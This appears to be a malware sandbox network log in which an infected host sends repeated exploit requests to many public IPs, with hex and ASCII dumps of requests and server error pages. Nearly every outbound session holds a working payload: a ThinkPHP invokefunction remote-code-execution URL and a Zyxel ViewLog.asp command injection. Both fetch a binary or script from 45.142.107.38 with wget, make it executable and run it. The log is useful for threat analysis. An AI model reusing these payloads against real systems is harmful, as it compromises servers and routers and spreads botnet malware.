65 3a 32 30 70 78 7d 2e 48 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 7d 2e 47 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 7d 2e 46 7b 77 69 64 74 68 3a 32 33 30 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 45 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 7d 2e 44 7b 6d 61 72 67 69 6e 3a 38 70 78 20 30 20 30 20 2d 32 30 70 78 7d 2e 43 7b 63 6f 6c 6f 72 3a 23 33 43 46 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 42 7b 63 6f 6c 6f 72 3a 23 39 30 39 30 39 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 7d 2e 41 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 30 70 78 7d 2e 68 69 64 65 5f 6d 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 3c 2f 73 74 79 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 70 22 20 63 6c 61 73 73 3d 22 50 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 4b 22 3e 34 30 30 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 4f 20 49 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 64 69 76 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 4a 20 41 20 4c 22 3e 45 72 72 6f 72 20 54 69 6d 65 73 3a 20 4d 6f 6e 2c 20 30 34 20 4d 61 72 20 32 30 32 34 20 31 34 3a 30 38 3a 31 30 20 47 4d 54 0a 09 09 09 09 3c 62 72 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 46 22 3e 49 50 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 3c 2f 73 70 61 6e 3e 4e 6f 64 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3a 20 50 53 2d 48 46 45 2d 30 31 45 79 67 34 37 0a 09 09 09 09 3c 62 72 3e 55 52 4c 3a 20 68 74 74 70 3a 2f 2f 2f 69 6e 64 65 78 2e 70 68 70 3f 73 3d 2f 69 6e 64 65 78 2f 09 68 69 6e 6b 07 70 70 2f 69 6e 76 6f 6b 65 66 75 6e 63 74 69 6f 6e 26 61 6d 70 3b 66 75 6e 63 74 69 6f 6e 3d 63 61 6c 6c 5f 75 73 65 72 5f 66 75 6e 63 5f 61 72 72 61 79 26 61 6d 70 3b 76 61 72 73 5b 30 5d 3d 73 68 65 6c 6c 5f 65 78 65 63 26 61 6d 70 3b 76 61 72 73 5b 31 5d 5b 5d 3d 27 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 62 69 Data Ascii: <!DOCTYPE html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>400 Bad Request</title><style type="text/css">body{margin:5% auto 0 auto;padding:0 18px}.P{margin:0 22%}.O{margin-top:20px}.N{margin-top:10px}.M{margin:10px 0 30px 0}.L{margin-bottom:60px}.K{font-size:25px;color:#F90}.J{font-size:14px}.I{font-size:20px}.H{font-size:18px}.G{font-size:16px}.F{width:230px;float:left}.E{margin-top:5px}.D{margin:8px 0 0 -20px}.C{color:#3CF;cursor:pointer}.B{color:#909090;margin-top:15px}.A{line-height:30px}.hide_me{display:none}</style></head><body><div id="p" class="P"><div class="K">400</div><div class="O I">Bad Request</div><p class="J A L">Error Times: Mon, 04 Mar 2024 14:08:10 GMT<br><span class="F">IP: 154.16.192.203</span>Node information: PS-HFE-01Eyg47<br>URL: http:///index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bi
Mar 4, 2024 15:08:10.461213112 CET	1286	IN	Data Raw: 6e 73 2f 78 38 36 20 2d 4f 20 74 68 6f 6e 6b 70 68 70 20 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 68 6f 6e 6b 70 68 70 20 3b 20 2e 2f 74 68 6f 6e 6b 70 68 70 20 54 68 69 6e 6b 50 48 50 20 3b 20 72 6d 20 2d 72 66 20 74 68 69 6e 6b 70 68 70 27 0a 09 Data Ascii: ns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp'<br>Request-Id: 65e5d5ca_PS-HFE-01Eyg47_30675-4263<br><br>Check:<span class="C G" onclick="s(0)">Details</span></p></div><div id="d" clas
Mar 4, 2024 15:08:10.461373091 CET	460	IN	PUT requests</li><li class="D">Illegal character in hostname;underscores are not allowed</li><li class="D">Range Invalid</li></ul></div><a class="N C" href="#" onclick="s(1)">return</a></div><script type="text/javascript">function e(i) {return document.getElementById(i);}function d(i, t) {e(i).style.display = (t ? 'block': 'none');}function s(e) {d('p', e);d('d', !e);}</script></body></html Data Raw: Data Ascii:
Mar 4, 2024 15:08:10.566898108 CET	460	IN	PUT requests</li><li class="D">Illegal character in hostname;underscores are not allowed</li><li class="D">Range Invalid</li></ul></div><a class="N C" href="#" onclick="s(1)">return</a></div><script type="text/javascript">function e(i) {return document.getElementById(i);}function d(i, t) {e(i).style.display = (t ? 'block': 'none');}function s(e) {d('p', e);d('d', !e);}</script></body></html Data Raw: Data Ascii:
Mar 4, 2024 15:08:10.747255087 CET	460	IN	PUT requests</li><li class="D">Illegal character in hostname;underscores are not allowed</li><li class="D">Range Invalid</li></ul></div><a class="N C" href="#" onclick="s(1)">return</a></div><script type="text/javascript">function e(i) {return document.getElementById(i);}function d(i, t) {e(i).style.display = (t ? 'block': 'none');}function s(e) {d('p', e);d('d', !e);}</script></body></html Data Raw: Data Ascii:
Mar 4, 2024 15:08:10.950788021 CET	460	IN	PUT requests</li><li class="D">Illegal character in hostname;underscores are not allowed</li><li class="D">Range Invalid</li></ul></div><a class="N C" href="#" onclick="s(1)">return</a></div><script type="text/javascript">function e(i) {return document.getElementById(i);}function d(i, t) {e(i).style.display = (t ? 'block': 'none');}function s(e) {d('p', e);d('d', !e);}</script></body></html Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.13	53910	88.204.166.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:09.645375967 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:10.998917103 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:12.599178076 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:15.990852118 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:22.391114950 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:35.191025019 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:09:02.326858044 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.13	41690	94.26.19.84	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:09.656399012 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:09.869111061 CET	111	IN	HTTP/1.1 404 Not Found Connection: close Content-Type: text/plain Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.13	51400	94.121.197.204	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:09.678972006 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.13	59526	95.101.160.159	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:09.720323086 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:09.873250008 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:08:09 GMT Date: Mon, 04 Mar 2024 14:08:09 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 37 34 64 64 62 31 37 26 23 34 36 3b 31 37 30 39 35 36 31 32 38 39 26 23 34 36 3b 37 39 64 65 32 38 37 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.874ddb17.1709561289.79de2871</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.13	46034	95.168.190.167	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:09.720555067 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:09.873938084 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.4 Date: Mon, 04 Mar 2024 14:08:09 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.13	44856	95.244.17.208	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:09.785047054 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.13	48960	95.86.104.176	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:09.874378920 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.13	43674	94.123.125.165	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:10.655066013 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.13	57992	85.122.216.92	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:11.055565119 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.13	34748	94.121.141.236	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:11.102720976 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.13	37176	95.85.136.149	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:11.104715109 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.13	46514	94.122.63.204	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:11.106389999 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.13	56600	94.122.209.218	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:11.108899117 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.13	49228	95.38.24.233	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:11.355612040 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:11.658440113 CET	376	IN	HTTP/1.1 404 Not Found Date: Mon, 04 Mar 2024 17:37:53 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.13	40754	94.121.35.100	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:11.875730991 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.13	52818	62.201.224.52	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:11.912144899 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.13	51394	112.28.240.200	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:12.152734995 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:13.195400953 CET	1286	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:13 GMT Content-Type: text/html Content-Length: 2834 Connection: close x-ws-request-id: 65e5d5cd_PS-HFE-01Eyg47_30654-20960 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 35 25 20 61 75 74 6f 20 30 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 20 31 38 70 78 7d 2e 50 7b 6d 61 72 67 69 6e 3a 30 20 32 32 25 7d 2e 4f 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 7d 2e 4e 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 4d 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 33 30 70 78 20 30 7d 2e 4c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 36 30 70 78 7d 2e 4b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 35 70 78 3b 63 6f 6c 6f 72 3a 23 46 39 30 7d 2e 4a 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 49 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 7d 2e 48 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 7d 2e 47 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 7d 2e 46 7b 77 69 64 74 68 3a 32 33 30 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 45 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 7d 2e 44 7b 6d 61 72 67 69 6e 3a 38 70 78 20 30 20 30 20 2d 32 30 70 78 7d 2e 43 7b 63 6f 6c 6f 72 3a 23 33 43 